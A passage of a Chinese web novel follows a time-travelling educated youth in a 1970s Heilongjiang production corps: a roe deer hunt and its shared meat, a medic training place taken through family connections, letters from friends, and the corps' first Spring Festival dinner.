孙桂玲看着白建军问道。 “这头狍子，除了给郑二柱一条后腿，咱们这两天再尝点，再留下几斤风干了，其他的得拿回连里。”白建军看着王长贵和孙桂玲说道。“咱们要是打个兔子，自己吃了也就吃了，但是这玩意太大了，咱们不能吃独食！” “我没意见，都是你打的，你说了算！” 孙桂玲点了点头说道。 “其实这狍子拿回去，连里100多号人呢，也分不了几两肉。”白建军看着王长贵说道。“也是郑二柱出的这个事提醒了我，这东西最重要的不是吃，而是当礼物。” “礼物？送给谁？” 王长贵看着白建军问道。 “留一块给周海兵，他是枪械管理员，咱们不能忘了人家的情分！”白建军指了指屋里的枪说道。“其他的以咱们仨的名义，都给连长和指导员，至于他们怎么处理，咱们几个就甭管了！风干的肉拿回去给大家分分，就当个零嘴了。” “听你的！”王长贵笑了笑看着白建军说道。“我先去处理这个狍子。” “我也没意见！” 孙桂玲也直接同意道。 “那就这么定了！” 第78章 上火了 红烧狍肉、辣炒狍心、烤兔子，凉拌土豆丝以及最后的一道豆腐汤，正好四菜一汤。 “建军，你快跟我说说，你这都是咋做的，咋这么好吃呢！” “建军，你干脆别当卫生员了，你有这手艺，不去炊事班都浪费了！” “去炊事班都浪费了，就这手艺到哪个馆子都成！” 吃着桌子上的四道菜，大家看着进来的白建军赞不绝口。 “来，尝尝这回的兔子，有一只我撒了点辣椒面儿！”白建军端着已经撕好的兔肉放到了桌上。“上次大家就是尝了鲜，这次往饱了吃！” “建军，回去我就和连长强烈建议。”张铁刚尝了一口菜之后，大声吆喝道。“明年开春翻地的时候，你一定要跟着我们一起！” “那就算了吧！春天的时候，尽量不打猎。”白建军看着张铁刚说道。“离得远我可分不出动物的雄雌，再猎到雌兽就不好了！” “哈哈哈，别说的这么直白嘛！” 张铁刚的小心思被白建军道破，大家都笑了起来。 众人热热闹闹的吃了一顿丰盛的晚饭，到了后半夜，王长贵就被脸上的黏糊劲给弄醒了，借着月光王长贵就发现自己流鼻血了，王长贵赶紧起来准备找白建军，可是屋子里根本没有白建军的影子，而房子的后院则传来有规律的脚步声。 王长贵穿好衣服，端着枪就走出了房子，慢慢的摸到了房子后面。 “建军，你这是干嘛呢？” 王长贵发现院子后面的是白建军，也就放下了戒备，小声的问了一句。 “热的难受，出来动一动！”白建军看到王长贵走近了，也知道他为什么出来了。“你这脸上还有血呢，流鼻血了吧！” “我这是咋回事啊？” 王长贵抹了一把脸，看着白建军问道。 “还能因为啥，狍子肉呗！”白建军看着王长贵说道。“这东西和鹿肉一样，都是大补之物！” “大补你还把酒拿出来了？”王长贵指着一边的酒坛看着白建军说道。“你受得了？” “我有我的办法！” 白建军笑着摇了摇头说道。 “行吧，你说没事就没事，我回去睡觉去了，你也早点睡！” 王长贵知道白建军不愿意多说，也没有多问，转身就回屋睡觉去了。 等王长贵走了，白建军又打开了酒坛子，这里都是白建军自己兑的血酒。之前刚刚兑好血酒之后，白建军就尝了一口，也就是这一口就让燥热不已，为了消除这股燥热，白建军就用起了在孙家看过的内功。 这个办法真有用，而且白建军感觉这一坛子血酒都能让自己产生内功中的气，这才有了白建军半夜的时候出来练功。在王长贵出来之前，白建军已经喝了半坛子了，刚刚练拳也是为了看看自己的程度。 怎么说呢，白建军现在感觉自己的五感比以前是强多了，拳法也比以前有力量了，但是仍然没有达到明劲的程度。白建军练拳都有快7年了，身手确实比一般人要强，但是这个只是技巧上的强，实际力量并不比一般人强多少，最重要的还是外部能量的摄取上。 在京城的时候，白建军不是没想过将自己收来的药材用了，但是一直都舍不得。这次猎到一头狍子，血酒提供的药力刚好能用内功消化，白建军一点也不想放弃这个机会。而且血酒这个东西，拿回去也会惹眼，还是赶紧处理的好。 白建军并没有继续练功，而是看向了女兵宿舍那边的阴影之中。白建军看了有一会儿，吴忆茹才从阴影中走出来。 “你早就知道我来了？” “我知道有人过来，但是具体是谁不知道！”白建军笑了笑看着吴忆茹说道。“我以为是艳儿姐，没想到是你！” “我出来上个厕所，远远地看到你在喝酒，还以为你有心事！”吴忆茹看着白建军解释道。“等我回来的时候，你又在那里坐着，我怕你有危险，我就没走！” “真有危险，我会起来的！”白建军笑着看着吴忆茹。“天凉了，你早点回去吧！” “你不回去？” 吴忆茹反问道。 “还有半坛子呢！” 白建军举着酒坛子示意了一下。 “那我先回去了，你也别太晚了！” 吴忆茹甜甜的笑着说道。 “我会武的事，还请你帮我保守秘密！” 白建军郑重的看着吴忆茹说道。 “嗯，我不会和别人说的！” 吴忆茹点了点头，转身就跑了。 没有人打扰，白建军则继续喝酒，打坐，直到天亮了，一坛血酒被白建军都喝光了，而房后这边的空气中都满是酒味。练了一夜内功的白建军一点都没感觉到困，索性直接打水洗脸，开始准备今天的早饭。 派遣小队的成员们，也陆续都醒了过来。知青点这边的房屋已经被修缮的差不多了，今天大家就要开始去地块那边看一看具体情况了。 郑二柱算是掐着点过来的，白建军他们这边刚吃完饭，郑二柱就过来了。孙桂艳把狍子腿交给郑二柱，白建军则给他拿了一小坛血酒。 “这个酒你要是送人的时候，要和人家说清楚。这是按照3：7兑的药酒，是不能直接喝的。得兑到1：10的以后才能喝，而且每次也别超过3两。” 白建军嘱咐着郑二柱说道。 “这药酒男人女人都能喝！绝对比你送别的都强！” “白老弟，这份情我和秀英一定记在心里。” 郑二柱看着大家准备东西，激动的都不知道说什么好了。 “甭废话了，拎着东西赶紧再去一次。你昨天能给人家送礼，别人也能送。”孙桂艳虚踢了一脚。“赶紧把事情办妥了，别让秀英惦记！” “艳儿姐，建军老弟，长贵兄弟，我先去公社那边去了！” 拎着东西的郑二柱，郑重的给三人鞠了一躬之后才离开。 “走吧，咱们能帮的都帮了。”孙桂艳看着王长贵和白建军说道。“现在只能期盼着那边收了礼之后能办事吧！” 孙桂艳说完，转身就往回走，白建军和跟着王长贵回屋，之后派遣小队再次集合往大地查看情况。 第79章 现世报 一队人背着行李，手里还拿着不少东西，有说有笑的走在秋日的田埂之上。这一队人正是九连的派遣小队。 “大家再努努力，一会儿就能到连部啦！” 王长贵走在队伍的最前面，给大家鼓劲。 “要不是粮食没了，我是真不想回连部啊！”郑自新笑着看着大家说道。“再知青点也没啥事，而且有咱们连的两位神枪手在，偶尔还能打打牙祭！” “怎么，你这鼻血还没流够啊！”一旁的张铁刚打趣着郑自新说道。“你是忘了谁一大早上，哇哇叫救命啦！” “我以前在上沪也从来没遇到过啊！” 郑自新兀自强调着说道。 “用俺们的话讲就是上火了。”王长贵笑着说道。“有时候刚烧炕的时候，也会流鼻血！” “排长，我们也来好几年了，怎么没遇到过这样的事啊！” 同样作为上沪知青的刘文济在一旁问道。 “咱们前几年，这活那活还少啦，饭都勉强够吃，哪还有上火的！”王长贵看着刘文济说道。“也就是这两年稍微好点，在加上这两天顿顿狍子肉吃着，建军不都说了么，这狍子肉大补么！” “嘿嘿，回去给他们尝尝这狍子干，也看看他们能不能上火！” 郑自新拍了拍自己提的口袋，笑着说道。 一路上说说笑笑，走了一上午，派遣小队终于回到了九连连部。先去了一趟炊事班之后，其他人就解散回去休息，而白建军和王长贵、孙桂艳他们第一时间就是先把枪还回去。 “建军，你可算回来了！” 周海兵看到白建军回来，脸色都变了。 “海兵哥，怎么了，连里有人生病了？” 白建军看周海兵的样子赶紧问道。 “你们刚走第二天，卫生队那边开了四期卫生员培训班，当时你出任务，连长和指导员想让我把你找回来了。可是团部里有人直接让胡晓洁去了卫生队参加培训。” 周海兵赶紧给白建军说明情况。 “这……连长和指导员就同意啦？” 王长贵不可思议的问道。 “唉，连长和指导员不同意又能怎么样！连长和指导员都去了团部了，可最后都垂头丧气的回来了。”周海兵无奈的看着白建军他们三个小声说道。“听说是师里那边有人说的话！” “这他妈叫什么事啊！” 孙桂艳直接就开骂了。 “你快去找连长吧，应该还有别的安排。” 周海兵看着白建军说道。 “谢谢你了海兵哥，我在这待一会，一会儿再去找连长，汇报一下思想。” 白建军看着给自己提供消息的周海兵说道。 “我去找连长汇报工作，你们等我一会儿！” 王长贵憋着气的就去找连长去了，留下来的孙桂艳看着白建军直接问道。 “你不生气？” “生气倒是生气，但是生气也解决不了问题不是么？”白建军看着孙桂艳说道。“再说你想想郑二柱那事，还想不明白么！” 白建军的话一下子让孙桂艳泄了气。 他们帮着郑二柱给人送礼，是为了石秀英的工作，别人同样也能找师里的关系顶了白建军的卫生员，甚至胡晓洁都可能不用送礼。 “估计是她家里人恢复工作了！” 孙桂艳一下子就想到了这个原因。 也就等了20多分钟，王长贵就从连长那边回来了。 “建军，连长叫你过去一下。指导员也在！光顾着生气了，那事我忘说了！” “那你们先回去吧，我去找连长和指导员！” 白建军说完，对着几人点了点头就往连长办公室走去。 …… “报告！” “进来！” “报告连长同志、指导员同志！”白建军进屋之后立正敬礼。“九连一排一班战士白建军前来报到！” “看来你小子已经知道了！” 林国栋笑着看着白建军说道。 “报告指导员，我什么都不知道！”白建军一本正经的说完，又笑着说道。“不过我有另一件事要和连长同志和指导员同志汇报！” “什么事？” 张大山面沉似水的看着白建军问道。 “连长，我、王排长还有女兵排的孙桂艳在知青点那边打了几只兔子和一头傻狍子。 兔子已经让我们烤了吃了，傻狍子大家也吃了点肉，另外我们又做了一些肉干准备分给连里的战友们。 其他的肉和骨头也都简单的处理了一下带了回来，现在就放在炊事班。” 白建军看着张大山和林国栋笑着说道。 “炊事班那些肉，连长和指导员你们看着安排一下吧！” 林国栋一下子就听明白白建军话里的意思了，和连长对视了一下，笑着说道。 “你小子，哪学的这么多花花肠子！” “嘿嘿，我们仨寻思着，这我们打到猎物了，也得让大家都见见荤腥不是么！” 白建军笑着看着连长和指导员说道。 “不枉我和连长为了你这事跑一趟。”林国栋笑着看着白建军说道。“那些事放一边，先说说你的事！” 白建军立马立正站好。 “不用这么正式，放轻松一点！”林国栋看着白建军笑着说道。“你先坐下！” 白建军依言坐到了椅子上，看到白建军坐下，林国栋才再次开口。 “胡晓洁去参加卫生队培训的事，估计你也知道了。”林国栋直接和白建军说道。“不过你还是咱们连的卫生员，你今天休息一下，明天一早直接去卫生队报道。他们还没出发去师部医院，还来得及！” “我还是卫生员？” 白建军直接站起来惊讶的问道。 “坐，你先坐下，激动啥！” 张大山终于开口说话了。 “胡晓洁的事，连长和我都拦不住。而且谁都能看出来她家里是想让她以卫生员这个身份为跳板以后好调回去，估计参加完培训，她也待不了几天。”林国栋看着白建军说道。“连长和我找了方指导员和林队长说了这事，他们同意让你以旁听生的身份去参加这次培训。” “我服从组织安排！” 白建军立马站起来郑重的说道。 “去了呢，也不要多说什么。要团结、要以大局为重！”张大山看到白建军表态之后严肃的说道。“同志们的表现，我们连领导都是心中有数的！” “连长、指导员！您二位放心！”白建军郑重的说道。“教我厨艺的师傅告诉我他们勤行有个规矩，叫‘只管做菜不问来客是谁’！” “嗯，很好！”林国栋看着白建军笑着说道。“你先回去吧，我和连长心里有数！” 第80章 撮合 白建军从连部出来的时候，黑丽荣、吴忆茹、曾冬伟、董宝柱都过来了。对于胡晓洁顶替白建军去团部参加卫生员培训的事，留在连部这边的人都知道，而且大家心里都挺膈应的。 “大家都来了！”白建军看着这么多人都过来，笑着对大家说道。“刚刚连长和指导员通知我，让我明天去团部卫生队报到旁听培训。” 白建军知道大家过来是要安慰自己，所以直接说了连长和指导员帮着自己争取来的机会。 白建军的话让过来的人心里都好受了不少，这个结果可能是现在最好的结果，大家觉得连长和指导员没有让大家失望。 “既然是这么个结果，大家就先回去吧！”黑丽荣看着三个男兵排长还有孙桂艳说道。“我再做一下他的思想工作！” 众人听见黑丽荣这么说也都跟白建军打了招呼就离开了，黑丽荣也带着白建军和吴忆茹往晒场那边走。 “丽荣姐，我没什么事！”白建军笑着看着黑丽荣说道。“连长和指导员已经和我说清楚原委了！” “建军，现在的结果我们也没想到。这几天因为这件事连里的战士们都挺难受的！不过现在的结果可能也是最好的了吧！” 黑丽荣边走边和白建军说道。 “我知道你能明白怎么回事，所以我也不再劝你！只是我要告诉你一声，胡晓洁在接到通知的时候，她自己也是懵的！” “丽荣姐，我知道胳膊拧不过大腿，我也没想怎么样！”白建军认真的说道。“就算我没去参加培训，我也并不是很在意！” “傻小子，你可知道参加过这次培训之后，是有机会被推荐上大学的！” 黑丽荣恨铁不成钢的看着白建军说道。 “丽荣姐，这么多年了，以你和桂艳姐高中毕业的身份都没得到推荐名额，我这才来第一年，你觉得名额就能落到我身上么？” 白建军停住了脚步看着黑丽荣认真的说道。 “桂艳是想当兵之后像她爸一样当警察，我是想去外语学校。推荐的学校都不合我们俩的心意！”黑丽荣同样认真的看着白建军。“可卫生员这条路，是注定会被推荐到医科院校的。难道说你不想走这条路？” “我姐走这条路呢，我还没想好！”白建军看着黑丽荣摇了摇头说道。“我和我姐都没有继承家里制药的天赋，以后能达到的高度有限。” “那是我想多了！”黑丽荣摇了摇头，苦笑了一下。“我还以为你学医，当卫生员，都是想走你家里的那条路呢！” “丽荣姐，你要是想好了，就别放弃！”白建军小声的说道。“用不了2.3年就会有转机了！” 黑丽荣转头看了后面不远的吴忆茹，又看着白建军说道。 “我知道了！” “我就不送你们啦！”眼看着快到女兵排了，白建军看着黑丽荣说道。“我回去整理一下东西，明天还要去卫生队！” “到了卫生队，该干什么就干什么，别因为那事和人家起矛盾！” 黑丽荣嘱咐着白建军说道。 “你放心，我就少说多看，不会惹事的！” 白建军看着黑丽荣笑着说道。 “吴忆茹，我先回去了！” 白建军和黑丽荣说完，就对着吴忆茹招呼道。 “你明天就要去卫生队了，要不你把衣服拿过来，我和丽蓉姐先帮你洗了，晾一宿也差不多能干了！” 吴忆茹鼓足了勇气红着脸说道。 “这不用了吧！” 白建军有些尴尬的拒绝道。 “什么不用了，小吴，你先回去准备吧。”黑丽荣推了白建军一下对着吴忆茹说道。“我过去取衣服，一会儿拿回来，咱们就开洗！” 吴忆茹害羞的“嗯”了一声就快步往女兵排跑去。 “傻小子，你看不出来人家喜欢你？” 黑丽荣看着白建军说道。 “丽蓉姐，我能感觉出来，不只她喜欢我，别的女生对我也挺有好感的！” 白建军笑着说道。 “人家小姑娘都主动了，你不能也主动一些？” 黑丽荣边跟着白建军往男兵排那边走边说道。 “她家是上沪的，我是京城的，这以后呢？” 白建军看着黑丽荣问道。 “还以后呢，咱们能不能离开这里都不知道呢！” 黑丽荣无奈的说道。 “忘了刚刚我和你说过的话了？2到3年就会有转机！”白建军小声的说道。“只要我们不想，我们是不会一辈子呆着这里的！” “这事自己知道就好，以后当谁的面都不能说！”黑丽荣严肃的告诫白建军道。“一个字都不能露出去，不然就是塌天之祸！” “我连我姐和我太奶奶都没说过！” 白建军认真的看着黑丽荣说道。 “这话就到我这里为止，哪怕你以后和小吴谈上了，也不要和她说！” 黑丽荣仍然严肃的看着白建军说道。 “丽荣姐，你为什么这么看好她啊！” 白建军实在有些搞不懂黑丽荣为什么要撮合自己和吴忆茹。 “小吴人漂亮，还是家里的独女。她父母虽然是搞文艺的，但她也算是书香门第了！主要是人比较文静，不是那种泼辣的性子。” 黑丽荣笑着看着白建军说道。 “难不成你是喜欢那种活泼一点的女孩？像桂艳那样的？” “说实话，我确实不太喜欢那种作的女孩。”白建军看着黑丽荣说道。“不过我有我的难处！” “怎么，京城那边有你喜欢的女孩？” 黑丽荣诧异的看着白建军问道。 “唉，我也不知道是不是喜欢，这事还真跟你解释不了。” 白建军叹了口气。 白建军说这话的时候，想到的就是徐静理，她目前来看是自己到这个世界的最终目标。但是白建军还不能和黑丽荣解释，不然就会牵扯出穿越这件事。 穿越这件事算是白建军心中最大的秘密了，这话他是万不会对别人说的，哪怕亲如自己的姐姐白建华、太奶奶李香秀，以及疑似姑姑的黑丽荣，白建军都不会说。 第81章 亲朋好友的来信 上次黑丽荣试探白建军的时候，白建军也猜出来黑丽荣应该和白家有关系，而且应该是自己五太爷爷的晚辈，因为在李香秀和白建军说过的白家老辈里，只有这位去的是山城。 而且这个世界似乎也有过一些改变，白家老辈里很多都和白建军记忆中有所不同，最起码自己的太姑奶奶白玉婷就不是孤独终老，反而是全家去了南洋。 “前两天周海兵可是拿回来好多封你的信，这里是不是有你喜欢的人？” 黑丽荣笑着看着白建军说道。 “我还没回宿舍呢，还真不知道！”走到了白建军的宿舍门口，白建军无奈的说道。“我也到宿舍了，要不您就回去吧？” “让你去拿衣服，你就拿衣服，哪那么多废话！”黑丽荣直接推了白建军一把。“别逼我不淑女啊！” “丽蓉姐，认识你这么长时间了，你还有不淑女的时候？” 白建军开玩笑的说道。 “劳资蜀道山！” 黑丽荣直接一口川渝话脱口而出。 白建军一听这句话，吓的就是一激灵，赶紧跑进宿舍拿衣服。 这句话白建军这一世还是头一次听人说，但是上一世经过短视频的洗礼，是真知道，这句话之后往往会跟着一招“峨眉千佛手”。 黑丽荣看着乖乖拿出脏衣服的白建军，满意的点了点头这才转身离开。 “建军，这是哪位女同志要给你洗衣服啊！” 去而复返的白建军，回到宿舍就迎来了舍友们的调笑。 “是丽荣姐！”白建军看着打趣自己的张宪有直接说道。“要不我叫住丽荣姐，让她把你的衣服也拿去洗洗？” “算了吧！” 张宪有赶紧摆手。 “建军，这是这段时间你的信！”王长贵直接拿出20多封信。“刚刚二班长特意送过来的！” “我们才一两封，你这一下子二十多封！”徐孝华看着白建军说道。“你别说都是你同学给你写的！” 白建军翻了翻信点了点头说道。 “大多都是我同学的，不过也有家里的！” 大家见白建军开始看信，也就不再打扰白建军，都各自忙各自的事情。 白建军这边认真翻了一遍所有的信，这里有徐静理写的、夏建红写的，以及内古兵团的同学们写的，就是先去内古兵团的杨树影都给白建军写了信，而且在京城的苏萌也给白建军写了回信。不过白建军又再次翻了一遍，终于确认这些信封上唯独少了叶菲的名字。 白建军自嘲的笑了笑，不由想起了太奶奶李香秀曾经跟自己说过，让自己少和九道湾那边的人打交道，当然李香秀也就对杨树茂另眼相待，特意和自己说过，杨树茂这孩子还是可以交往的。 挥散了脑海中的想法，白建军开始一一看起了同学们的来信。 内古兵团的同学们的来信除了问候，大多说的都是他们在内古兵团的一些事，而且从他们的信里，白建军也知道了他们那边和自己这边的情况有很大的不同。 他们都说内古兵团那边风沙大，刮起大风来，能从窗户缝往屋里灌沙子。而且刚刚经历的秋收都把他们累惨了，他们那边秋收时虽然也有机械辅助，但是普及程度一点都不如黑江兵团这边，大多时候都靠人力完成。 男生们多是炫耀一下自己曾经在大草原上策马扬鞭，可是也有人写信的时候，把他们骑马磨破了屁股，躺在床上三天下不了地的糗事告诉给了白建军。 当然这里面蔡晓丽的信是最长的足足有3页纸，上面恨不得把这些日子经历过的所有的事情都跟白建军分享一遍，而且最末端那句“我时常想起我们同桌的日子！”也让白建军看到了蔡晓丽的心意。 白建军是真没想到，自己的这个高中同桌，竟然会在信里和自己说这个，这话就差把“我喜欢你！”直接拍在白建军脸上了。 “唉，丽荣姐还想着促成我和吴忆茹呢，可是我自己身上的事还解决不了呢！” 白建军苦笑了一下，默默的把蔡晓丽的信单独放在一边，又打开苏萌的信。 苏萌在京城工商分局，每天不是在办公室无所事事，就是去外面转悠。苏萌自己说，现在走在马路上，看见个人都想着这个人是不是“投机倒把”的，都快魔怔了。 末了，苏萌心里说对于白建军能给她写信，有意外也有开心，大家以后就是最好的朋友！ “苏大小姐还是这么自恋啊！” 白建军回忆起苏萌那副傲娇的面容不由笑了笑，然后收起信放在了内古兵团同学们的回信里。 之后白建军又看起了夏建红的信，夏建红去了徽安凤阳，那里是之前她家的保姆刘妈的老家，白建军对于刘妈没什么印象，但是白建华还有印象。刘妈与其说是夏家的保姆，不如说是白家曾经的保姆，后来夏家小妹出生之后，才去夏家照顾小妹。 夏建红现在已经是他们大队的书记了，这倒是令白建军挺意外的。不过看着夏建红信里的内容，白建军也就不奇怪了。 凤阳那个地方这些年，年年吃国家的救济粮，而且一到农闲的时候，家家户户都去外地唱“凤阳花鼓”要饭去。村里里剩下的不是实在走不动的老人，就是小孩子，这个大队书记，根本就没人当。 夏建红一个高中毕业生，插队到了他们大队，直接就被大家推举为大队书记，而且这事在公社里竟然也通过了，也真是相当有地方特色了。 看完了夏建红的信，白建军继续看的是徐静理的信。读完了整篇信，白建军就感觉到两个字——平淡。除了朋友之间的友情，白建军没有感到任何其他的东西。 “任重而道远啊！” 白建军感叹了一句，放下徐静理的信，打开了最意想不到的一封信。 “我又怀上了，希望这胎能生个儿子！” 这封信里只有这么一句话，没有落款，也没有日期。信封上除了地址，也没有署名。不过白建军还是知道这封信是谁写的，因为地址上写的是——南锣鼓巷95号院。 “唉！” 第82章 兵团知青的假期 第二天一早，周海兵特意架着马车把白建军送到了团部卫生队。 一进入卫生队的大门，不少人都看到了白建军，大家都热情的跟白建军打招呼。胡晓洁看到白建军的时候还有些闪躲，不过白建军也没有拉下她，也正常的打了声招呼才往指导员方怡的办公室去。 胡晓洁来卫生队之前还不知道怎么回事，等她到了卫生队，才明白是她爸托关系把她运作过来的，而且使的手段并不是很光彩。虽然平时卫生队的众人对她也很正常，但是她自己总觉得卫生队这些卫生员在背后议论她。 今天突然看到白建军来卫生队报到，胡晓洁最开始是意外，可是白建军和自己打过招呼之后，胡晓洁的内心突然对白建军的愧疚也少了很多。 方怡看到白建军来了之后，并没有多说什么，只是先让白建军把行礼送到以前他住过的寝室，之后直接跟着大家一起参加培训，白建军同样待了一会儿就去放行礼等物品了。 从这天起，白建军算是正式以旁听生的身份加入到了四十五团第四期卫生员培训班，这也是团部医院举办的最大规模的学习班。 团部要求卫生员们在规定的半年内达到乡一级“赤脚医生”的标准，全团十几个连队的卫生员带着连队领导和战友们的期望，更带着自己的理想投入了紧张的学习。 也就是在白建军到了卫生队3天以后，培训班在卫生队副队长杨振清和指导员方怡的带领下，来到了双城师部医院。 四十五团的这些卫生员们被分配在不同的科室，每隔几周就轮换。每天上午被安排听不同专业科室的医生讲课，下午则到各个科室去实习。再经历了外科，内科，妇科，儿科，牙科，以及中医按摩等等科室的学习和实践，以便能够基本上全面的为连队服务。 从1974年的10月份一直到1975年的1月末，白建军一直都在师部医院这边学习实践。 2月1日，礼拜六。 结束了一天工作的卫生员们，被方怡叫到了一起。 “同志们，你们在师部医院这边的学习从今天开始就算正式结束了！明天一早大家都要穿好军装，师部医院安排了照相拍纪念合照！” 方怡看着所有卫生员们说道。 “之后上午给大家放半天假，大家可以在双城这里放松一下，中午吃过午饭之后，团部会派卡车来接大家。另外申请今年休假的同志，一会儿可以单独找我拿假条！” 整个培训班能申请探亲假的也就陈大勇、许玉琴、杨晓琴另外再加上一个胡晓洁这四个人，其他卫生员都是去年刚到兵团的，按照规定只有明年过年，大家才能申请探亲假。 不仅仅是卫生队，整个黑江兵团都是一样的规矩，最少满两年才能申请探亲假，而且去年因为人手短缺的问题，很多能休假的知青都没有休假，所以今年很多老知青们都申请休假了。 兵团知青和插队知青的另一个不同也在这里体现了，一般农闲或者过年时间，插队知青只要有合理的理由，大多都能回家，只是有些家里道远，舍不得那个来回的路费。 像徐静理那种插队到京郊农村的，只要是农闲时节，只要有个生病的借口，那是想什么时候回家就能什么时候回家。当然不过这也是因为徐静理下乡的农村就是徐慧真的老家，就连大队书记都和徐慧真家沾亲带故的，自然会有照顾。 兵团知青这边可没那么容易回一趟家，起码生病这个借口就用不了。因为连队有卫生室、团部有卫生队、师部有医院，你要是生病了，那是真一级一级往上报，一定得给你治好。只有因伤致残或者其他重大疾病，才能被允许提前回城。 白建军今年自然是没有机会休探亲假，所以第二天跟着大部队返回了团部，而陈大勇、许玉琴、杨晓琴、胡晓洁四人都选择了直接回家。她们都是黑江省内的知青，十五天的假期正好能初七回来。 离开了三个多月，白建军终于在下午回到了九连，这里最明显的就是战士们少了一大半。除了像白建军他们这样的新兵团战士，剩下的就是家离着远的，比如那些上沪的知青还有黑丽荣。 黑丽荣来兵团已经5年多了，一次都没有回过山城，一次假期15天，连路上的时间都不够。同样上沪的那些知青路上来回就要走8、9天，在家待不了几天就要再次返回兵团这边。虽然兵团战士有工资，但是来回路费相当于两个月的工资，这对于精明的上沪人来说，很难舍得浪费这个车票钱。 东北这边一到冬天，大家都说“猫冬”，那意思就是人像猫一样待在一个地方不出去。 1月的黑江天寒地冻的，哪怕身上穿着棉袄棉裤，脚下穿着厚棉鞋，外面还穿着一身军大衣，北风仍然呼呼的往身上打。不过好在由于有火炕和火炉的存在，一到屋里，立马人就暖和了起来。 屋外是零下20-30°的严寒，屋内是零上20多°，屋里屋外完全是两个天地。若不是还需要吃、喝、拉、撒，白建军感觉真不想去到屋子外面。 但是兵团这边有兵团这边的规矩，哪怕外面刮着冒烟大雪，每天的晨跑依然雷打不动。而且虽然冬天农活是少了，但是杂活依然不少。 白建军是去师部参加培训没赶上，可是在连里的石兴华和蔡凯杰他们是真真都体验了一遍。 “白大哥，我是真挺羡慕你！”石兴华看着回来的白建军打倒苦水。“我以为外面这么冷的天，就没啥活了，可是哪成想还有那么多的活！” “白大哥，你不知道，前两天我们去清理厕所的时候，那飞起来的冰碴子都要蹦进石兴华的嘴里了！” 蔡凯杰大笑的看着石兴华，然后向白建军描述前几天的场面。 “你快得了吧。是谁一脚没把那粑粑柱子踹折，一下摔到尿冰上了。”石兴华也开始说蔡凯杰的糗事。“要不是蹲坑都冻住了，估计你都得掉坑里！” 看着互相揭短的石兴华和蔡凯杰，白建军一直保持着笑容。虽然一班就剩下他们三个了，但是回到这里，白建军才感觉到难得的轻松和自在。 第83章 兵团的第一个年 白建军现在不仅仅是九连的卫生员，因为种子连的许玉琴休探亲假了，白建军这段时间算是这两个连的卫生员。当然这情况以前也有过，不过那时候是九连没有卫生员，而许玉琴则时常在九连和种子连两头跑。 可许玉琴照顾两个连的时候是夏天，现在可是冬天而且还是东北的冬天，这时候因为室内室外温差大，感冒发烧算是最常见的病症了，轻微的种子连那边会往九连打电话，要是高烧的就需要白建军去种子连那边给战士们打点滴了。每次往返，对于白建军和赶车的周海兵来说，都不亚于经历一场酷刑。 好在，时间一晃，就到了春节。 虽然连里就剩下一多半人，但是对于白建军他们这批新来兵团的知青们来说，这是他们远离家乡在外过的第一个春节。虽然周围坐着的不是自己的亲人，但是相处半年多，这些京、津、沪以及黑江省内各地来的知青们早已和身边的战友们结下了深厚的友谊。 都说人生四大铁：一起同过窗、一起扛过枪、一起X过X、一起分过赃。九连的知青们也算是“一起扛过枪了。” 食堂里虽然没有往日里人那么多，但是气氛仍然是非常的热烈。本来现在人员就少，自然不能再沿用往日的座位，而且现在也没有什么男女之分了，大家都和相熟的人坐到一桌。 蔡凯杰、石兴华，还有吴忆茹、孙嫣、陈梦莹这些最后一批到的知青都坐在了一起，吴忆茹身边独留下一个空位置。这桌也有黑江本地的知青，随着一道道菜陆续端上来，黑江本地的知青一个一个再给石兴华、吴忆茹他们这些外地知青介绍着属于东北的特色菜。 “小葱拌豆腐，这叫一清二白！” “猪肉炖粉条，一会儿你们就好好秃噜吧，闻着就香！” “今天这个尖椒干豆腐确实有水平，你们看着芡，透亮奔儿！” “这是酸菜汆白肉，里面竟然还有血肠？这白肉要是吃的时候，最好蘸一下旁边的蒜酱！” 虽然大家早就馋的不行，可是大家都忍着没有动筷。不过随着最后两个菜被端上来，众人都已经按捺不住心中的激动了。 “红烧肉！” “拔丝地瓜！” 这时候，终于在炊事班忙完了的白建军也回到了自己的座位上。 “白建军，这些不会是你做的吧！” 吴忆茹看着回来的白建军直接问道。 “都是赵师傅，还有其他几位大娘动手，我就是帮他们打打下手。这些可都是地道的东北菜，我可不会做！”白建军笑着摇头说道。“我听赵师傅说，还有一道锅包肉，不过那个太麻烦，今天就没做！” 闲聊了几句，这时候连长张大山也站了起来了。 “同志们，今年有不少新战士加入到我们九连的大家庭，让我们大家先用热烈的掌声欢迎他们。” 今天这顿中午饭，不仅九连剩余的战士们都在，农场的老职工们也都拖家带口的过来。大家听到连长张大山的话之后，整个食堂就响起了热烈的掌声。 “好酒好菜也都上来了，大家也都等着急了！”张大山举起手中的二大碗。“话我也不多说了，我先干为敬！大家也都吃好喝好！” 张大山也没墨迹，端着二大碗直接一口就把碗中的酒闷了进去，这下子食堂里无论是老职工们还是知青们都发出热烈的欢呼声。 “别瞅我啦，还等什么呢，动筷吧！” 张大山放下二大碗，大声的对着众人笑着说道。 张大山的话音刚落，早就等不及的众人这才开始纷纷夹菜。 等大家吃了一会儿菜，白建军也端起了由京城革委会发的搪瓷缸子，其他人手中也拿起了印着各地革委会名字的搪瓷缸子。 “咱们也整一口怎么样？” 缸子里装的都是农场职工们用土烧锅自制的粮食酒，无论男生还是女生，也都端起了搪瓷缸子，举杯共同庆祝。白建军他们用搪瓷缸子，农场职工那边也都开始拿二大碗喝了起来。 整个这一桌，就白建军和吴忆茹两个人年龄大一点，其他的都是初中毕业就来到兵团，以前在家都是孩子，但是到了兵团就是战士了。 男孩们以前虽然也偷喝过酒，但是像今天这样大大方方的，而且酒还管够的情况，还是头一次，而且哪怕是喝多了，也不会有人被骂；至于女孩们，对于总说“妇女能顶半边天”的她们，也都没有怕的，特别是黑江本地的那些女生们，白建军看她们那架势，好像不比上沪的那些男生们酒量差。 喝了一口之后，白建军就发现身边吴忆茹的酒只下去了一点点。 “我不会喝酒，而且以前在家也是滴酒不沾的！” 吴忆茹见白建军看着自己的茶缸，立刻小声解释了一句。 “没事，能喝多少是多少！”白建军笑着看着吴忆茹说道。“你一会儿要是喝不了，就给我，别勉强自己！大家今天是开心，不是为了把谁喝多了！” “你们也一样，别拼酒，量力而行！”和吴忆茹说完，白建军看着酒桌上的众多弟弟妹妹们说道。“晚上还得包饺子，放鞭炮呢，你们都喝躺下了，剩下的活谁干？” 听着白建军的玩笑话，大家都笑了起来。这也让大家激动的心情稍微冷静了一下。 整整一桌子的菜，红烧肉是最先被消灭的，之后就是拔丝地瓜，还有芹菜炒肉。对于天天白菜、土豆、萝卜汤的知青们来说，这三样真是平时难得一遇的美食。 